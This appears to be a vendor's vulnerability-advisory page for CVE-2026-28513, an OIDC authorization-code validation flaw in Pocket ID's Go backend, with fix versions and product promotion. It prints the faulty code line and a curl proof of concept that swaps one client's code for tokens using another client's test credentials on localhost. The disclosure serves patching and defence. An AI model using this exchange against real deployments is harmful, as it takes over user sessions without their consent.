CVE-2026-28513 — backend
HIGHCVE-2026-28513 is a high-severity (CVSS 8.5) CWE-863 vulnerability in github.com/pocket-id/pocket-id/backend. A fix is available for github.com/pocket-id/pocket-id/backend — see the affected versions and patch details below.
Pocket ID: OIDC authorization code validation uses AND instead of OR, allowing cross-client token exchange
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-28513.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-28513 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/pocket-id/pocket-id/backendReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The OIDC token endpoint rejects an authorization code only when both the client ID is wrong and the code is expired. This allows cross-client code exchange and expired code reuse.
Details
backend/internal/service/oidc_service.go:407
if authorizationCodeMetaData.ClientID != input.ClientID && authorizationCodeMetaData.ExpiresAt.ToTime().Before(time.Now()) {
return CreatedTokens{}, &common.OidcInvalidAuthorizationCodeError{}
}
&& should be ||. Current behavior:
| Condition | Expected | Actual |
|---|---|---|
| Wrong client + valid code | Reject | Accept |
| Correct client + expired code | Reject | Accept |
PoC
Prerequisite: pocket-id running with APP_ENV=test and BUILD_TAGS=e2etest. The test user (Tim Cook) must have authorized both Nextcloud and Immich OIDC clients (i.e., user_authorized_oidc_clients records exist for both). The seed data includes an authorization code auth-code issued for the Nextcloud client.
# 1. Seed test data
curl -X POST "http://localhost:1411/api/test/reset?skip-ldap=true"
# 2. Exchange Nextcloud's auth code using Immich's credentials
curl -X POST http://localhost:1411/api/oidc/token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=authorization_code" \
-d "code=auth-code" \
-d "client_id=606c7782-f2b1-49e5-8ea9-26eb1b06d018" \
-d "client_secret=PYjrE9u4v9GVqXKi52eur0eb2Ci4kc0x" \
-d "redirect_uri=http://immich/auth/callback"
# Expected: 400 (wrong client)
# Actual: 200 with tokens — access_token.aud = Immich client ID
Verified result: HTTP 200 with tokens. The access_token audience is 606c7782-... (Immich), despite the authorization code being issued for 3654a746-... (Nextcloud).
Impact
Any OIDC client operator can exchange authorization codes issued for other clients, obtaining tokens for users who never authorized that client. Expired authorization codes can also be reused with the correct client until the 24-hour cleanup job runs.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/pocket-id/pocket-id/backend | all versions | 0.0.0-20260307173642-b59e35cb59aego get github.com/pocket-id/pocket-id/backend@v0.0.0-20260307173642-b59e35cb59ae |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/pocket-id/pocket-id/backend, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/pocket-id/pocket-id/backend to 0.0.0-20260307173642-b59e35cb59ae or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-28513 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-28513 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-28513. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-28513 in your dependencies?
O3 Security finds CVE-2026-28513 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.